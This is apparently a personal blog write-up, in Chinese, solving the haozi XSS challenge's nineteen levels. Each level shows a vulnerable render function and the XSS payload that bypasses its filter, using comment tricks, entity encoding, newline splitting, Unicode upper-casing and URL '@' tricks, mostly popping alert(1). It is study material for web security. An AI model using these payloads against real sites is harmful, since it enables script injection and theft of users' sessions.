风之栖息地

haozi xss 挑战赛 writeup

字数统计: 2.4k阅读时长: 10 min
2019/01/27 Share

0x00

1
2
3
function render (input) {
return '<div>' + input + '</div>'
}

没什么说的,div标签+没过滤直接插 <img src=1 onerror=alert(1)>

0x01

1
2
3
function render (input) {
return '<textarea>' + input + '</textarea>'
}

输入点在<textarea>这种标签中,需要闭合标签,在插入payload。</textarea><img src=1 onerror=alert(1)>

0x02

1
2
3
function render (input) {
return '<input type="name" value="' + input + '">'
}

输入点在input标签的value属性中,然而依旧没有过滤,只要逃逸双引号再插其他标签就好。1"><svg/onload=alert(1)>//

0x03

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}

过滤了(),直接换成反引号就可以了。

0x04

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}

反引号也GG,只好编码了这里用js编码。<img src=1 onerror='&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0031;&#x0029;'>

0x05

1
2
3
4
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}

一开始一头雾水,搞了编码无法解析,有查注释网上又没有…… 看了其他人的writeup之后,结果果然是多样性的注释。

这里在html里面的注释中有两种除了一般的<!-- --> 还有对称的写法<!-- --!> ,所以这里没过滤对称写法,所以就用这种就可以逃逸过滤插标签。--!><img src=1 onerror=alert(1)>

0x06

1
2
3
4
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}

好吧,尝试了很久,想到了这种出现在标签内部的输入点,有两种思路,一个是在标签内部的属性和事件来触发js;一个是闭合现在的标签去插入新的攻击向量。想了老久不知道怎么破……看了writeup得知是利用换行,这里就有一个小细节了,这里的正则是on.*=这意味着on=是以一个整体去判断的,这种以整体形式去做判断的逻辑可以用一些拆分技巧了绕过。所以正确的payload为onmousemove换行=alert(1)

这里试了很久都没找到非交互的操作,最后还是只有交互操作触发xss。

0x07

1
2
3
4
5
6
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi

input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}

知识点:利用浏览器的自动补全特性绕过……又是一个老知识点就是没想到这个点,想到了要在<>上做文章,没想到自动补全。。。记个笔记当标签不完整的时候<img src=1 onerror=alert(1) ,像这样浏览器会自动把末尾的>用其他的标签补充上。实际自动补充如下图:

而我们的输入拼接上实际上是这样的<article><img src=1 onerror=alert(1) </article>

可以看到原来的</article>成了img标签中的一部分,随后浏览器又在后面补充了一个</article>

0x08

1
2
3
4
5
6
7
8
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}

重点依旧是正则过滤的问题,这里的过滤规则写的太死,所以可以在中间加入空格或者换行来绕过。

</style ><img src=1 onerror=alert(1)>或者</style换行><img src=1 onerror=alert(1)>

0x09

1
2
3
4
5
6
7
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}

虽然限制了必须要在www.segmentfault.com这个域下,但是也没过滤其他危险字符,那我们直接闭合前面的script然后在后面构造自己的恶意脚本就行。https://www.segmentfault.com"></script><script src="https://xss.haozi.me/j.js

上面是利用双引号字符去结合构造的payload,也可以直接注释掉。https://www.segmentfault.com"></script><svg/onload=alert(1)>//

0x0A

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f')
}

const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}

这道题是上道题目的加强版,把多余的特殊字符都转义成html实体了,这样就没有办法突破src这个字符串,突破口只能在src这里。观察发现没有过滤@#想到应该是要用到url相关的trick。把orange的ppt翻出来复习,试了@#@都不行。。。一脸懵逼

最后去看了其他人的writeup,答案是https://www.segmentfault.com@xss.haozi.me/j.js

利用@的子资源请求功能去请求恶意的js,然而我是用chrome来做题的,之前半天没反应,在控制台看了看,发现chrome禁用了子资源请求。太尴尬了……

最后在火狐测试成功,chrome的安全性真是高。

0x0B

1
2
3
4
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}

这道题是把输入全部转成大写字母,这样的话alert就没有办法执行。但是我们有编码啊,并且大小写对标签和属性事件是一样的,所以只要把alert(1)的部分换成js编码就ok了。

<img src=1 onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#10;>

0x0C

1
2
3
4
5
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

emmm,这个题目有点水啊……就是多过滤了一个script,那不用script就好了,方法多的用不过来而且上一次payload同样有效。<img src=1 onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#10;>

0x0D

1
2
3
4
5
6
7
8
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}

这种输入点出现在js的单行注释区域,可以用换行绕过单行注释。剩下的一步思考了很多,由于过滤了</"',不能闭合末尾的'),也不能用普通的注释///*<!--。看了看writeup,结果是用-->,我有点傻眼了,什么鬼……

测试了一会儿,得出结论:-->有和//一样的效果,同样是单行注释。这个真的是涨姿势了,以前只知道用上面的三种,结果现在又来一种。

payload:换行alert(1)换行-->

0x0E

1
2
3
4
5
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

同样想了老久,看了其他人的思路恍然大悟……这里由于把所有的标签前面都加了下划线,基本上正常使用的标签都GG。然而这里要用到之前的一个知识点,那就是出现在这种有大小写转换的地方,有些特殊字符在转换的时候也会变成正常的英文大写字母。参考:https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

能利用的是i和s,这里用特殊字符绕过正则,然后通过大写函数转换成正常字母达到目的。<ımg src=1 onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#10;>或者<ſcript src=https://xss.haozi.me/j.js></script>

0x0F

1
2
3
4
5
6
7
8
9
10
11
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f;')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

这里的编码除了实体编码是强行变成字符串,其他的&#类编码都是可以用的,典型的纸老虎过滤。所以这里从单引号逃逸出来,插入alert,过滤后面的无用部分。

');alert(1);//

0x10

1
2
3
4
5
6
7
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}

这道题有点莫名其妙。。。随手输入了一个alert(1)就成功了。。。都不知道发生了什么。

看了其他人的答案都是闭合语句,然后插入的alert(1)1;alert(1);

查了一下window的属性列表,没有data属性,所以这里直接输入alert(1)就会触发弹窗。

0x11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}

又是一个纸老虎过滤,在js的字符串中代入反斜线会被解释成转义符,但是由于原本整体就是字符串所以转义符转义过后还是字符串,等于没有意义,所以直接闭合前面的console.log插入js语句。

'console.log("\")\/\/' 像这样的字符串实际上为'console.log("")//'。可以看到反斜线在字符串中没有任何作用。

最后payload:");alert("1或者");alert(1)//

0x12

1
2
3
4
5
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}

和上一题类似的题目,只是没有了多余的字符串中转,现在的反斜线就有效果了,然而没有过滤反斜线,所以这里可以用反斜线转义过滤用的那个反斜线,这样就造成字符串逃逸,随意插入语句即可。

\");alert(1)//

CATALOG
  1. 1. 0x00
  2. 2. 0x01
  3. 3. 0x02
  4. 4. 0x03
  5. 5. 0x04
  6. 6. 0x05
  7. 7. 0x06
  8. 8. 0x07
  9. 9. 0x08
  10. 10. 0x09
  11. 11. 0x0A
  12. 12. 0x0B
  13. 13. 0x0C
  14. 14. 0x0D
  15. 15. 0x0E
  16. 16. 0x0F
  17. 17. 0x10
  18. 18. 0x11
  19. 19. 0x12